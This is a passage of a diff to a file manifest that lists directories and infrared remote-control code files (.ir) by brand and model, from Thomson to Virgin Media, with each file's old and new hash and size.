Digital/Surround Processor/16,-1.ir D:infrared/_CSV-IRDB_/Thinkgeek/Unknown_Lightbulb -F:5c5a1792196bef9833569a92d324964c:2567:infrared/_CSV-IRDB_/Thinkgeek/Unknown_Lightbulb/64,-1.ir +F:2c6c53393185165872a65a7dc982a5a0:2397:infrared/_CSV-IRDB_/Thinkgeek/Unknown_Lightbulb/64,-1.ir D:infrared/_CSV-IRDB_/Thompson/Unknown_THOMPSON -F:f912e06600b073c44d5e805d68864948:3553:infrared/_CSV-IRDB_/Thompson/Unknown_THOMPSON/133,48.ir +F:106d357031ae339f0dd641bb0b8fff60:3329:infrared/_CSV-IRDB_/Thompson/Unknown_THOMPSON/133,48.ir D:infrared/_CSV-IRDB_/Thomson/Unknown_230 D:infrared/_CSV-IRDB_/Thomson/Unknown_RCS615TCLM1 D:infrared/_CSV-IRDB_/Thomson/Unknown_TM9258 D:infrared/_CSV-IRDB_/Thomson/Unknown_TV -F:ac0bf7e3296fb8444f18767b65185a4e:3824:infrared/_CSV-IRDB_/Thomson/Unknown_230/0,-1.ir -F:bac14c1fb70bcf9e68de3b05daef72e2:2763:infrared/_CSV-IRDB_/Thomson/Unknown_RCS615TCLM1/5,-1.ir -F:e98f78f6cb49b64cbe0177cc5b7fcc3d:1293:infrared/_CSV-IRDB_/Thomson/Unknown_TM9258/128,255.ir -F:821c278573ad51263adac374c1346f29:2507:infrared/_CSV-IRDB_/Thomson/Unknown_TV/7,-1.ir +F:ca33a219c54529476ae4785e730f2ff8:3582:infrared/_CSV-IRDB_/Thomson/Unknown_230/0,-1.ir +F:484b7cbda60263e672982885ec5dc07c:2587:infrared/_CSV-IRDB_/Thomson/Unknown_RCS615TCLM1/5,-1.ir +F:82a43b3f7aed3ec22ae7c57bd4b4cd09:1213:infrared/_CSV-IRDB_/Thomson/Unknown_TM9258/128,255.ir +F:8da0016cd9fafe8726168f428b345276:2349:infrared/_CSV-IRDB_/Thomson/Unknown_TV/7,-1.ir D:infrared/_CSV-IRDB_/TiVo/PVR D:infrared/_CSV-IRDB_/TiVo/TiVo D:infrared/_CSV-IRDB_/TiVo/Unknown_Series1 -F:f312f42827808761969f64256242ca94:2141:infrared/_CSV-IRDB_/TiVo/PVR/26,154.ir -F:349548166bf442d3d78c16f6f08a98d1:3294:infrared/_CSV-IRDB_/TiVo/TiVo/133,48.ir -F:3e746b0a9cb6899c3ed161d2d33ee443:3552:infrared/_CSV-IRDB_/TiVo/Unknown_Series1/133,48.ir +F:1b2c3fa66f19b50025fea9d77a81b1b4:2001:infrared/_CSV-IRDB_/TiVo/PVR/26,154.ir +F:f09cfd42f2b9590423fbd56dd079e26d:3082:infrared/_CSV-IRDB_/TiVo/TiVo/133,48.ir +F:410027bb8e9a4081d465b6cc0cde43c7:3328:infrared/_CSV-IRDB_/TiVo/Unknown_Series1/133,48.ir D:infrared/_CSV-IRDB_/Tivoli/Unknown_Sirius -F:ea7874bf3b25e5753e91aac20b0fdf36:2115:infrared/_CSV-IRDB_/Tivoli/Unknown_Sirius/0,-1.ir +F:66f08b0ee7d1e77f4c57265451d74c95:1981:infrared/_CSV-IRDB_/Tivoli/Unknown_Sirius/0,-1.ir D:infrared/_CSV-IRDB_/Tokai/Unknown_DVD-715 -F:638578fddb3268e66a15345e22d0c64c:4106:infrared/_CSV-IRDB_/Tokai/Unknown_DVD-715/32,-1.ir +F:5005a2d790abbaf703006d26cdfc5d45:3846:infrared/_CSV-IRDB_/Tokai/Unknown_DVD-715/32,-1.ir D:infrared/_CSV-IRDB_/Topfield/Unknown_PVR D:infrared/_CSV-IRDB_/Topfield/Unknown_TF4000Fi D:infrared/_CSV-IRDB_/Topfield/Unknown_TF4000PVR -F:03535f3ed408f54067cf12e9b485840c:4387:infrared/_CSV-IRDB_/Topfield/Unknown_PVR/32,-1.ir -F:73024a1b24a5450bceaebd08f123f041:3720:infrared/_CSV-IRDB_/Topfield/Unknown_TF4000Fi/4,255.ir -F:ac60c2549c42656b229e38d008da7424:3559:infrared/_CSV-IRDB_/Topfield/Unknown_TF4000PVR/32,-1.ir +F:432271f39103e0259231c9ba8781b5b9:4109:infrared/_CSV-IRDB_/Topfield/Unknown_PVR/32,-1.ir +F:f0a01e48996e40ea5d4173ce0dd21991:3484:infrared/_CSV-IRDB_/Topfield/Unknown_TF4000Fi/4,255.ir +F:b392020059b651180839ff898cf9e93d:3335:infrared/_CSV-IRDB_/Topfield/Unknown_TF4000PVR/32,-1.ir D:infrared/_CSV-IRDB_/Topseed/Unknown_Topseed -F:50c6aeb78f15fb51f9f512d3b0175476:4995:infrared/_CSV-IRDB_/Topseed/Unknown_Topseed/4,15.ir +F:fb5229e3f20cf961e4ae0a21a04c4cca:4681:infrared/_CSV-IRDB_/Topseed/Unknown_Topseed/4,15.ir D:infrared/_CSV-IRDB_/Toshiba/DVD Player D:infrared/_CSV-IRDB_/Toshiba/TV D:infrared/_CSV-IRDB_/Toshiba/Unknown_CT-816 @@ -5812,77 +5812,77 @@ D:infrared/_CSV-IRDB_/Toshiba/Unknown_VT-209W D:infrared/_CSV-IRDB_/Toshiba/Unknown_VT-75F D:infrared/_CSV-IRDB_/Toshiba/Unknown_toshiba-RM-A210 D:infrared/_CSV-IRDB_/Toshiba/VCR -F:9b400c635a50f75d25698fc7e57d2b1f:8058:infrared/_CSV-IRDB_/Toshiba/DVD Player/69,-1.ir -F:5516ef3dfe3a7ee5c249af0cd8292d8f:4458:infrared/_CSV-IRDB_/Toshiba/TV/64,-1.ir -F:2d1f180d88cb679190d0b16aa8004016:2774:infrared/_CSV-IRDB_/Toshiba/Unknown_CT-816/64,-1.ir -F:9ba56c8eb493fe17505c5e5f80afefcf:3146:infrared/_CSV-IRDB_/Toshiba/Unknown_CT-826/64,-1.ir -F:ca7fb050b6791330aab21c28431d465e:2767:infrared/_CSV-IRDB_/Toshiba/Unknown_CT-832/64,-1.ir -F:515495b2590452804d8e9d5f2a3d8551:2584:infrared/_CSV-IRDB_/Toshiba/Unknown_CT-859/64,-1.ir -F:01716dcf8bd73a7be3641cf8533e87ef:1456:infrared/_CSV-IRDB_/Toshiba/Unknown_CT-90038/231,10.ir -F:576a2fcae9ae379296c6490cbeb77119:1186:infrared/_CSV-IRDB_/Toshiba/Unknown_CT-90205/231,10.ir -F:9eea554b9b3429f696478f03ad6bfec3:3568:infrared/_CSV-IRDB_/Toshiba/Unknown_CT-90298/64,-1.ir -F:cf1f31b7500a7d6800dfcad3aa3872da:4044:infrared/_CSV-IRDB_/Toshiba/Unknown_CT-90326/64,-1.ir -F:75d096785615adf31b8e1a14cc9bc926:2400:infrared/_CSV-IRDB_/Toshiba/Unknown_CT-9573/64,-1.ir -F:dd24665f5028ec521a7506ed62255cb3:2855:infrared/_CSV-IRDB_/Toshiba/Unknown_CT-9784/64,-1.ir -F:6aa46888da8695f02513b7a40fe3d396:3419:infrared/_CSV-IRDB_/Toshiba/Unknown_CT-9881/134,107.ir -F:f5afb3144912fde9d20d3077a5def3f2:2967:infrared/_CSV-IRDB_/Toshiba/Unknown_CT-9952/64,-1.ir -F:7540d00c6749fbd493c955cab4fc3edb:4238:infrared/_CSV-IRDB_/Toshiba/Unknown_G83C0008A110/4,15.ir -F:dc7b72871036a2217836c3c190eb041d:3247:infrared/_CSV-IRDB_/Toshiba/Unknown_RM-614Q/5,5.ir -F:02fccf1c5bdb29d854b1fcab27d2d5d5:4200:infrared/_CSV-IRDB_/Toshiba/Unknown_SE-R0031/69,-1.ir -F:4b85bcd00ba65f80bd9e7e4baab97695:4298:infrared/_CSV-IRDB_/Toshiba/Unknown_SE-R0049/69,-1.ir -F:d17774cfee0343dc3a0837b63a9abe0c:4679:infrared/_CSV-IRDB_/Toshiba/Unknown_SE-R0058/69,-1.ir -F:3207eda5d8cc5669e8783f27a594f199:1382:infrared/_CSV-IRDB_/Toshiba/Unknown_SE-R0127/69,-1.ir -F:668b8f7fefee217237188386566af2e5:3379:infrared/_CSV-IRDB_/Toshiba/Unknown_TOSHIBA/64,-1.ir -F:af13c4efd226204610f09d62d9ff9b98:3776:infrared/_CSV-IRDB_/Toshiba/Unknown_TOSHIBA/68,-1.ir -F:ef385cc4d3a11352da01dcbaeb37a801:1832:infrared/_CSV-IRDB_/Toshiba/Unknown_TOSHTV/64,-1.ir -F:220921dd42d3ef3d9872ca2ab8d1f00c:2771:infrared/_CSV-IRDB_/Toshiba/Unknown_TSR-101R/66,187.ir -F:4b85bcd00ba65f80bd9e7e4baab97695:4298:infrared/_CSV-IRDB_/Toshiba/Unknown_Toshiba-SE-R0047/69,-1.ir -F:12ab0dc725c0dc0f66b05223d6bd7570:4190:infrared/_CSV-IRDB_/Toshiba/Unknown_Toshiba-SE-R0090/69,-1.ir -F:6386c6550c937968b77f0ef8a784459b:3864:infrared/_CSV-IRDB_/Toshiba/Unknown_VC-642T/68,-1.ir -F:c7f57479b0fbb6f1ad41e63857c5480d:2303:infrared/_CSV-IRDB_/Toshiba/Unknown_VC-90B/68,-1.ir -F:d2ed0623178800515f28db7bca387e3f:2611:infrared/_CSV-IRDB_/Toshiba/Unknown_VT-11/68,-1.ir -F:288fc90264a31c0bc725b8d45ce23fe6:3642:infrared/_CSV-IRDB_/Toshiba/Unknown_VT-204G/68,-1.ir -F:3e3f3e64cbb4bfb0969693d460914412:3156:infrared/_CSV-IRDB_/Toshiba/Unknown_VT-209W/68,-1.ir -F:b416a1dfa7d98db918334d6850159de4:3241:infrared/_CSV-IRDB_/Toshiba/Unknown_VT-75F/68,-1.ir -F:9cfdd277defb3efe780575af74f03abb:2108:infrared/_CSV-IRDB_/Toshiba/Unknown_toshiba-RM-A210/42,-1.ir -F:2f72e433ee007bed33f21e256a7f15b4:3001:infrared/_CSV-IRDB_/Toshiba/VCR/68,-1.ir +F:6d905af63298fe554a069eb2b32d2297:7546:infrared/_CSV-IRDB_/Toshiba/DVD Player/69,-1.ir +F:5dc2e98d26c266068679b231334802ec:4174:infrared/_CSV-IRDB_/Toshiba/TV/64,-1.ir +F:22c1196deb0fcc22d95cb3a5b0b26f54:2598:infrared/_CSV-IRDB_/Toshiba/Unknown_CT-816/64,-1.ir +F:4c24f7a4ee7c8a833555ab3afb298b3b:2946:infrared/_CSV-IRDB_/Toshiba/Unknown_CT-826/64,-1.ir +F:18933230a5bab1ca91f7e83158392862:2591:infrared/_CSV-IRDB_/Toshiba/Unknown_CT-832/64,-1.ir +F:5ab4d31b4a903e80bbf216fe38cebb43:2420:infrared/_CSV-IRDB_/Toshiba/Unknown_CT-859/64,-1.ir +F:0dac72aa1f27850491465b30b879625b:1364:infrared/_CSV-IRDB_/Toshiba/Unknown_CT-90038/231,10.ir +F:66eb44a6787b3aa83636adb71c43cd32:1112:infrared/_CSV-IRDB_/Toshiba/Unknown_CT-90205/231,10.ir +F:af998021230661a572be5d89f4033b1a:3344:infrared/_CSV-IRDB_/Toshiba/Unknown_CT-90298/64,-1.ir +F:72820d99191a99d2745f9519cf4290af:3790:infrared/_CSV-IRDB_/Toshiba/Unknown_CT-90326/64,-1.ir +F:dd5a6108b9aed8413c0edaeb7367eaff:2248:infrared/_CSV-IRDB_/Toshiba/Unknown_CT-9573/64,-1.ir +F:709ff57e8bbfec64f0c6e4905aa6b8ea:2673:infrared/_CSV-IRDB_/Toshiba/Unknown_CT-9784/64,-1.ir +F:d6651cc7dc35feaa9d6b2da6eb6e6bfd:3201:infrared/_CSV-IRDB_/Toshiba/Unknown_CT-9881/134,107.ir +F:86b0da4eeede3c9835b68c03d51c3918:2779:infrared/_CSV-IRDB_/Toshiba/Unknown_CT-9952/64,-1.ir +F:d7b78930cfcb12418fce102efc3a91d8:3972:infrared/_CSV-IRDB_/Toshiba/Unknown_G83C0008A110/4,15.ir +F:ac7dd2a3c209f89000c250cc75354f84:3041:infrared/_CSV-IRDB_/Toshiba/Unknown_RM-614Q/5,5.ir +F:d3491178b953f28af63c58f45b01a5e8:3934:infrared/_CSV-IRDB_/Toshiba/Unknown_SE-R0031/69,-1.ir +F:f39312899544643db2640d21663a0613:4026:infrared/_CSV-IRDB_/Toshiba/Unknown_SE-R0049/69,-1.ir +F:86a24ee69435bece6e987e6c8128925f:4383:infrared/_CSV-IRDB_/Toshiba/Unknown_SE-R0058/69,-1.ir +F:ea13aa3482458cc715269ef49e7f5f09:1296:infrared/_CSV-IRDB_/Toshiba/Unknown_SE-R0127/69,-1.ir +F:d5cbf19aff1b34ccdf1b3444e6453daa:3167:infrared/_CSV-IRDB_/Toshiba/Unknown_TOSHIBA/64,-1.ir +F:d44664742c5eb7f32a57767235b7bbf0:3540:infrared/_CSV-IRDB_/Toshiba/Unknown_TOSHIBA/68,-1.ir +F:a8dd521040d393eb797a0da3e4d5dd38:1716:infrared/_CSV-IRDB_/Toshiba/Unknown_TOSHTV/64,-1.ir +F:139528e7d3b89cc3263bec2df4e3c79e:2595:infrared/_CSV-IRDB_/Toshiba/Unknown_TSR-101R/66,187.ir +F:f39312899544643db2640d21663a0613:4026:infrared/_CSV-IRDB_/Toshiba/Unknown_Toshiba-SE-R0047/69,-1.ir +F:ea2ba14d81903eca2bf6dbf4721eb388:3924:infrared/_CSV-IRDB_/Toshiba/Unknown_Toshiba-SE-R0090/69,-1.ir +F:9e548648934707b9241e7f171abfb7fa:3622:infrared/_CSV-IRDB_/Toshiba/Unknown_VC-642T/68,-1.ir +F:e5cd56a4f91050ce5a2362600c807148:2157:infrared/_CSV-IRDB_/Toshiba/Unknown_VC-90B/68,-1.ir +F:9085857be1035a9e775226d44d8b0532:2447:infrared/_CSV-IRDB_/Toshiba/Unknown_VT-11/68,-1.ir +F:921b5f538bbc8dd3a3eda44b22b97010:3412:infrared/_CSV-IRDB_/Toshiba/Unknown_VT-204G/68,-1.ir +F:a7ec0f1acac24792dc737124af7e8ff1:2956:infrared/_CSV-IRDB_/Toshiba/Unknown_VT-209W/68,-1.ir +F:9d378e3f2e0bec6c2675c258d4be8c19:3035:infrared/_CSV-IRDB_/Toshiba/Unknown_VT-75F/68,-1.ir +F:aca873870810a5673c391252b9128d0f:1974:infrared/_CSV-IRDB_/Toshiba/Unknown_toshiba-RM-A210/42,-1.ir +F:3368eec6d6ee93f9d00c4391c12b7ab5:2807:infrared/_CSV-IRDB_/Toshiba/VCR/68,-1.ir D:infrared/_CSV-IRDB_/Total Control/Unknown_Control -F:8945522364c0b14540c9f4b5abf754bb:3818:infrared/_CSV-IRDB_/Total Control/Unknown_Control/7,-1.ir +F:a5e51a5cb1765b3c64166ccab6bea772:3576:infrared/_CSV-IRDB_/Total Control/Unknown_Control/7,-1.ir D:infrared/_CSV-IRDB_/Total Media In Hand/Unknown_Media -F:7e9885df88f1da37d1c41f78bd147b6f:3360:infrared/_CSV-IRDB_/Total Media In Hand/Unknown_Media/2,189.ir +F:87bcb789c092424cff05f86b5ac8b6e8:3148:infrared/_CSV-IRDB_/Total Media In Hand/Unknown_Media/2,189.ir D:infrared/_CSV-IRDB_/Traxis/Unknown_3500 -F:74f1e35d9c907a95c8be81905ff859eb:1350:infrared/_CSV-IRDB_/Traxis/Unknown_3500/4,-1.ir +F:1273426fa0c67f5b4d32703e4a3141de:1264:infrared/_CSV-IRDB_/Traxis/Unknown_3500/4,-1.ir D:infrared/_CSV-IRDB_/Trust/Unknown_RC-2400 -F:bf84e5d4aad3f6a386dde2fffebc77eb:4133:infrared/_CSV-IRDB_/Trust/Unknown_RC-2400/52,15.ir +F:5298a6618491e6ecdd9efdd5b31004ca:3873:infrared/_CSV-IRDB_/Trust/Unknown_RC-2400/52,15.ir D:infrared/_CSV-IRDB_/Trutech/Unknown_TV -F:5b59353db15957db4cadfa525f04ddb1:2117:infrared/_CSV-IRDB_/Trutech/Unknown_TV/0,1.ir +F:4a10ffcdea59ae91868bbd1cc4899c63:1983:infrared/_CSV-IRDB_/Trutech/Unknown_TV/0,1.ir D:infrared/_CSV-IRDB_/Turtle Beach/MP3 Player -F:9541906959510e792ff180c70dbcd87a:230:infrared/_CSV-IRDB_/Turtle Beach/MP3 Player/1,-1.ir -F:8cf0c207e121c96246fa5bd3e3922953:3935:infrared/_CSV-IRDB_/Turtle Beach/MP3 Player/1,249.ir +F:e0ade4c98352771567f015c420bb464e:216:infrared/_CSV-IRDB_/Turtle Beach/MP3 Player/1,-1.ir +F:71dedf49e05140aa8eb1e927cd10a554:3675:infrared/_CSV-IRDB_/Turtle Beach/MP3 Player/1,249.ir D:infrared/_CSV-IRDB_/Turtlebeach/Unknown_Audiotron -F:c63ca84978e1072596ae5d29d60dc0a8:3759:infrared/_CSV-IRDB_/Turtlebeach/Unknown_Audiotron/1,249.ir +F:ebdb736875994e43cf493ba656c77133:3517:infrared/_CSV-IRDB_/Turtlebeach/Unknown_Audiotron/1,249.ir D:infrared/_CSV-IRDB_/Twinhan/Unknown_AD-SP200 D:infrared/_CSV-IRDB_/Twinhan/Unknown_DTV -F:d0e778ccbe48c5c702c8c7d9d68d56c6:5075:infrared/_CSV-IRDB_/Twinhan/Unknown_AD-SP200/0,-1.ir -F:43d9bb93321a8f70df379b1ebccddccb:3090:infrared/_CSV-IRDB_/Twinhan/Unknown_DTV/0,-1.ir +F:eb244daf31493bccd549a73fdaeaf690:4755:infrared/_CSV-IRDB_/Twinhan/Unknown_AD-SP200/0,-1.ir +F:40cf5b0ad543b1c5617e2ac3fd4efaf3:2896:infrared/_CSV-IRDB_/Twinhan/Unknown_DTV/0,-1.ir D:infrared/_CSV-IRDB_/Typhoon/Unknown_DTV D:infrared/_CSV-IRDB_/Typhoon/Unknown_RC-0718-3 -F:43d9bb93321a8f70df379b1ebccddccb:3090:infrared/_CSV-IRDB_/Typhoon/Unknown_DTV/0,-1.ir -F:786f1bc79240309f2cf2452c6c98d987:2298:infrared/_CSV-IRDB_/Typhoon/Unknown_RC-0718-3/96,1.ir +F:40cf5b0ad543b1c5617e2ac3fd4efaf3:2896:infrared/_CSV-IRDB_/Typhoon/Unknown_DTV/0,-1.ir +F:0f876a323fc5902b80f05a83dda217fc:2152:infrared/_CSV-IRDB_/Typhoon/Unknown_RC-0718-3/96,1.ir D:infrared/_CSV-IRDB_/UEC/Unknown_DVB -F:4c4cc23c078a2884d201b59ac0dd41b3:3074:infrared/_CSV-IRDB_/UEC/Unknown_DVB/24,-1.ir +F:9f486cf576852b758a88ef6073e78b8c:2880:infrared/_CSV-IRDB_/UEC/Unknown_DVB/24,-1.ir D:infrared/_CSV-IRDB_/UPC/Unknown_SAT -F:2db99c52e476ec710b08dfb17dcd01bd:1647:infrared/_CSV-IRDB_/UPC/Unknown_SAT/39,-1.ir +F:87f9ca8a8e0486994d076bba3ef9553a:1543:infrared/_CSV-IRDB_/UPC/Unknown_SAT/39,-1.ir D:infrared/_CSV-IRDB_/US Electronics/Cable Box -F:94d6069a5639fdd58b5c95d99271602d:3424:infrared/_CSV-IRDB_/US Electronics/Cable Box/0,-1.ir +F:1387fdf8f2b0567816f564fe8b0e3cd3:3200:infrared/_CSV-IRDB_/US Electronics/Cable Box/0,-1.ir D:infrared/_CSV-IRDB_/Ultrawave/Unknown_3500PFTA -F:6fc8f3e7b1619ded58f6ffe2880b0c61:3451:infrared/_CSV-IRDB_/Ultrawave/Unknown_3500PFTA/2,2.ir +F:a709d88fea4f9b0605e9a5194a29e6e7:3233:infrared/_CSV-IRDB_/Ultrawave/Unknown_3500PFTA/2,2.ir D:infrared/_CSV-IRDB_/Umax/Unknown_D-701 -F:8d2d26b98e8cc1fd77c038bf515777ef:2555:infrared/_CSV-IRDB_/Umax/Unknown_D-701/0,240.ir +F:6fd1dc4448167350f370ca06fe76a890:2397:infrared/_CSV-IRDB_/Umax/Unknown_D-701/0,240.ir D:infrared/_CSV-IRDB_/Uniden/Satellite -F:7356176b386d438db0dd3ca93ae2b78c:3707:infrared/_CSV-IRDB_/Uniden/Satellite/1,-1.ir +F:86158f1d953e3ce6af9de998f992aea0:3465:infrared/_CSV-IRDB_/Uniden/Satellite/1,-1.ir D:infrared/_CSV-IRDB_/United/Unknown_United-DVD4057M -F:be662eb6a8952057c2826b37b30d5a85:4477:infrared/_CSV-IRDB_/United/Unknown_United-DVD4057M/0,-1.ir +F:dc469f27ca73ec65856a31c69fad6140:4193:infrared/_CSV-IRDB_/United/Unknown_United-DVD4057M/0,-1.ir D:infrared/_CSV-IRDB_/Universal/Unknown_001 D:infrared/_CSV-IRDB_/Universal/Unknown_006 D:infrared/_CSV-IRDB_/Universal/Unknown_089 @@ -5900,102 +5900,102 @@ D:infrared/_CSV-IRDB_/Universal/Unknown_lircd.conf D:infrared/_CSV-IRDB_/Universal/Unknown_lt3607-aux599 D:infrared/_CSV-IRDB_/Universal/Unknown_testrecord.config D:infrared/_CSV-IRDB_/Universal/Unknown_tv -F:01d2a799421a8408fbb5842e72ececc5:4015:infrared/_CSV-IRDB_/Universal/Unknown_001/4,15.ir -F:1b69dbe2a6c3e5d53a81c34eea2f02b3:2717:infrared/_CSV-IRDB_/Universal/Unknown_006/56,-1.ir -F:560f1d3dfb4b85896ab7c65adbf1fc26:2398:infrared/_CSV-IRDB_/Universal/Unknown_089/6,-1.ir -F:1dfc8bf43c737e85e9212f606915d9c9:4931:infrared/_CSV-IRDB_/Universal/Unknown_101/6,-1.ir -F:9607f95c1e47ba4000ed63d95cdd2930:4585:infrared/_CSV-IRDB_/Universal/Unknown_111/135,124.ir -F:022f9f10b990cccd50b46599d8cc53ae:2884:infrared/_CSV-IRDB_/Universal/Unknown_Knopex/7,-1.ir -F:be63297fae7ef75fee27590adf38abae:3080:infrared/_CSV-IRDB_/Universal/Unknown_MC-10/5,-1.ir -F:1acfefef3a92e639612f4083c68340b4:2195:infrared/_CSV-IRDB_/Universal/Unknown_Powerhouse/166,-1.ir -F:98410cce2913e6ddb01ea50bdb64fd14:2777:infrared/_CSV-IRDB_/Universal/Unknown_RC/0,-1.ir -F:042d23f945a39206aa82b6b74ddef67d:2859:infrared/_CSV-IRDB_/Universal/Unknown_RM-V211T/2,-1.ir -F:fe6793286a559fd5a1c37687a863eca3:4525:infrared/_CSV-IRDB_/Universal/Unknown_RZ-55/1,-1.ir -F:defa1a7e42624dc90634aa23a961f907:3090:infrared/_CSV-IRDB_/Universal/Unknown_URC-6012w/2,-1.ir -F:cff05dc47d25e28f5315350154b992fc:4518:infrared/_CSV-IRDB_/Universal/Unknown_cme/7,-1.ir -F:ba673d31fc2a3db87d96cafdc29b4979:2957:infrared/_CSV-IRDB_/Universal/Unknown_lircd.conf/0,-1.ir -F:6d75931019f14a5cc4be854692095f52:3616:infrared/_CSV-IRDB_/Universal/Unknown_lircd.conf/128,123.ir -F:f6bb5a7822eec0263100dbfe5411b070:2293:infrared/_CSV-IRDB_/Universal/Unknown_lt3607-aux599/135,124.ir -F:b3fd5bf4110bb2d797ac3fcf4905ae98:4525:infrared/_CSV-IRDB_/Universal/Unknown_testrecord.config/0,-1.ir -F:c24c5bdd0dd395e3a2d063d02f531a7f:334:infrared/_CSV-IRDB_/Universal/Unknown_tv/1,-1.ir +F:2f13aa4816146978970d7c86d569da41:3761:infrared/_CSV-IRDB_/Universal/Unknown_001/4,15.ir +F:f357605ba3700889698fc6df3478de83:2547:infrared/_CSV-IRDB_/Universal/Unknown_006/56,-1.ir +F:1e8f0b5fb6b13143a45d4ee39e5aee71:2246:infrared/_CSV-IRDB_/Universal/Unknown_089/6,-1.ir +F:22b9e767d7d0b336c18120207b870ed2:4617:infrared/_CSV-IRDB_/Universal/Unknown_101/6,-1.ir +F:bbf019d35cfc924b53cdee071e200048:4295:infrared/_CSV-IRDB_/Universal/Unknown_111/135,124.ir +F:61c921ca78a33faa9d1e46badb5c0a50:2702:infrared/_CSV-IRDB_/Universal/Unknown_Knopex/7,-1.ir +F:966510e2f15c704e2ff6817d36335f3b:2886:infrared/_CSV-IRDB_/Universal/Unknown_MC-10/5,-1.ir +F:c2e6c69c89f1513d4b63ecfae9ea3e3f:2055:infrared/_CSV-IRDB_/Universal/Unknown_Powerhouse/166,-1.ir +F:05f453b4fa4cc432f70b75e2e2cafbf5:2601:infrared/_CSV-IRDB_/Universal/Unknown_RC/0,-1.ir +F:b50a06b877ac7b96c5a7f930b962e6a8:2677:infrared/_CSV-IRDB_/Universal/Unknown_RM-V211T/2,-1.ir +F:8becbef295b4ab696ced77c31b6f97ef:4235:infrared/_CSV-IRDB_/Universal/Unknown_RZ-55/1,-1.ir +F:35ad296478d06a8a68b867a2c87dbdf2:2896:infrared/_CSV-IRDB_/Universal/Unknown_URC-6012w/2,-1.ir +F:1b4098e32ea2719e03965636a97b5edf:4228:infrared/_CSV-IRDB_/Universal/Unknown_cme/7,-1.ir +F:f35d6c922d17ac6c72424275dcd3cbf8:2769:infrared/_CSV-IRDB_/Universal/Unknown_lircd.conf/0,-1.ir +F:6c48d24d12872039be4f99d39b9a2571:3386:infrared/_CSV-IRDB_/Universal/Unknown_lircd.conf/128,123.ir +F:4f5cac3994abf024ffac8bcd8288e6d5:2147:infrared/_CSV-IRDB_/Universal/Unknown_lt3607-aux599/135,124.ir +F:1ade6bca5e5b9b3d2be71d45075a54c3:4235:infrared/_CSV-IRDB_/Universal/Unknown_testrecord.config/0,-1.ir +F:1d6bdb5913ac445625ac37201dbb269f:314:infrared/_CSV-IRDB_/Universal/Unknown_tv/1,-1.ir D:infrared/_CSV-IRDB_/Velodyne/Subwoofer -F:4ae50d44ec9da9bc3cffaf85ad47d5ba:504:infrared/_CSV-IRDB_/Velodyne/Subwoofer/0,69.ir +F:e2bd46d4af1c553396797917715a88ac:472:infrared/_CSV-IRDB_/Velodyne/Subwoofer/0,69.ir D:infrared/_CSV-IRDB_/Venturer/Unknown_STB7766G1 D:infrared/_CSV-IRDB_/Venturer/Unknown_boombox -F:67a1a9ad635e162168bcffc98f8edc55:2588:infrared/_CSV-IRDB_/Venturer/Unknown_STB7766G1/66,187.ir -F:670a00a301b17f3daf3f4b0d29d03ea2:705:infrared/_CSV-IRDB_/Venturer/Unknown_boombox/129,129.ir +F:62537696dec4700a6107679b1c5fed42:2424:infrared/_CSV-IRDB_/Venturer/Unknown_STB7766G1/66,187.ir +F:6ab928334a7db2a64a61b62b9f7c57f6:661:infrared/_CSV-IRDB_/Venturer/Unknown_boombox/129,129.ir D:infrared/_CSV-IRDB_/Vestel/Unknown_TV -F:2168d8cef5052321bc3abd77f53ea384:3650:infrared/_CSV-IRDB_/Vestel/Unknown_TV/0,-1.ir +F:1a3d53ad829cc9b715a30d5596f6597b:3414:infrared/_CSV-IRDB_/Vestel/Unknown_TV/0,-1.ir D:infrared/_CSV-IRDB_/Video7/Unknown_Video7-RC750 -F:2ec37e9ce41902f9e2ac7cf6506f935c:2393:infrared/_CSV-IRDB_/Video7/Unknown_Video7-RC750/32,-1.ir +F:cdc09a262ce9109e64bc35964464ede7:2241:infrared/_CSV-IRDB_/Video7/Unknown_Video7-RC750/32,-1.ir D:infrared/_CSV-IRDB_/Vidikron/Video Projector -F:fd7fe8fa99a0c9ec2099fe625361f506:2593:infrared/_CSV-IRDB_/Vidikron/Video Projector/0,-1.ir +F:2d48f06ed2a2a88818f8a06a27182a8b:2429:infrared/_CSV-IRDB_/Vidikron/Video Projector/0,-1.ir D:infrared/_CSV-IRDB_/ViewSonic/Unknown_98TR7BD-ONT-VSF D:infrared/_CSV-IRDB_/ViewSonic/Unknown_RC00070P D:infrared/_CSV-IRDB_/ViewSonic/Unknown_vsnv6 -F:f464586911aed9910ef65ba8dce4af8e:4672:infrared/_CSV-IRDB_/ViewSonic/Unknown_98TR7BD-ONT-VSF/131,241.ir -F:88a67b1425bd00922cd0f2e86b28d83b:4185:infrared/_CSV-IRDB_/ViewSonic/Unknown_RC00070P/131,241.ir -F:75e4a980e656b2baca3eed1ede3a6c24:2768:infrared/_CSV-IRDB_/ViewSonic/Unknown_vsnv6/0,-1.ir +F:addab207193900d7027dc150027d1475:4376:infrared/_CSV-IRDB_/ViewSonic/Unknown_98TR7BD-ONT-VSF/131,241.ir +F:3b04bf02eba976f17f6eb29fda93f669:3919:infrared/_CSV-IRDB_/ViewSonic/Unknown_RC00070P/131,241.ir +F:23c5fa0841cc2d90289951996e05b154:2592:infrared/_CSV-IRDB_/ViewSonic/Unknown_vsnv6/0,-1.ir D:infrared/_CSV-IRDB_/Viewmaster/Unknown_RC-03 -F:7d27e53f6bf735c1716634e25f4c9cea:4389:infrared/_CSV-IRDB_/Viewmaster/Unknown_RC-03/73,-1.ir +F:c8b663d480402bddd1f0130b889659dd:4111:infrared/_CSV-IRDB_/Viewmaster/Unknown_RC-03/73,-1.ir D:infrared/_CSV-IRDB_/Viewsat/Unknown_SAT D:infrared/_CSV-IRDB_/Viewsat/Unknown_VS2000 -F:53a65c05de542292752e19c6b9dd455d:3739:infrared/_CSV-IRDB_/Viewsat/Unknown_SAT/32,255.ir -F:2c164225eb665a363dcf134ca6452689:3717:infrared/_CSV-IRDB_/Viewsat/Unknown_VS2000/32,255.ir +F:8207afabba51da29dbb5533cc8f9481d:3503:infrared/_CSV-IRDB_/Viewsat/Unknown_SAT/32,255.ir +F:f4cfd350f841a55ab83d6ee58548082f:3481:infrared/_CSV-IRDB_/Viewsat/Unknown_VS2000/32,255.ir D:infrared/_CSV-IRDB_/Virgin-media/Unknown_VIRGINTIVO -F:96d103d9ac3f0b210452ffe515fe6dca:4124:infrared/_CSV-IRDB_/Virgin-media/Unknown_VIRGINTIVO/10,-1.ir +F:e18c195d71571e902d9ebc12c4c4b095:3864:infrared/_CSV-IRDB_/Virgin-media/Unknown_VIRGINTIVO/10,-1.ir D:infrared/_CSV-IRDB_/Visionetics/Unknown_Cable 